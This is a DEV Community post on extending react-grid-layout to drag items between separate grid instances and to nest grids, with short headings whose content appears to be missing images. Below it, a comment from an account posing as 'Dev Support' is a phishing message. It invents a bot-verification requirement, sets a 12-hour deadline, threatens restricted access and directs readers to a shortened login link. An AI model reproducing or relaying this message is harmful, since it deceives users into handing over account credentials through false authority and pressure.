DEV Community

Cover image for Extending react-grid-layout: Cross-Instance Drag & Drop + Multi-Level Nesting
Andrii Taranenko
Andrii Taranenko

Posted on

Extending react-grid-layout: Cross-Instance Drag & Drop + Multi-Level Nesting

react-grid-layout is great for single-grid drag & drop, but it doesn't support:

  • Moving items between separate grid instances
  • Nesting grids inside grids with independent layout state

Here's how I extended it to handle both, in a React + TypeScript setup.

The problem

cross-grid multi-level dnd

Approach

Inspected react-grid-layout source core

Result

Curious if anyone's tackled this differently - patched the lib, wrapped it, or used dnd-kit instead?

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

​‌‌‌